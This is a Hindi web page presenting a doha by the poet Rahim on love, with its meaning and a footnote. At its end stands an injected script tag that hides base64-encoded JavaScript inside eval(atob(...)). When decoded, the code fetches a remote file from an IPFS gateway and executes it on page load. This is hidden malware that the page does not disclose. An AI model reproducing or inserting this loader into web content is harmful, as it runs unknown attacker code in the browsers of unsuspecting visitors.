रहिमन प्रीति सराहिये -रहीम
भारत डिस्कवरी प्रस्तुति
‘रहिमन’ प्रीति सराहिये, मिले होत रंग दून।
ज्यों जरदी हरदी तजै, तजै सफेदी चून॥
- अर्थ
सराहना ऐसे ही प्रेम की की जाय, जिसमें अन्तर न रह जाय। चूना और हल्दी मिलकर अपना-अपना रंग छोड़ देते है।[1]
रहीम के दोहे |
टीका टिप्पणी और संदर्भ
- ↑ न द्रष्टारहता है और न दृश्य, दोनों एकाकार हो जाते हैं।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>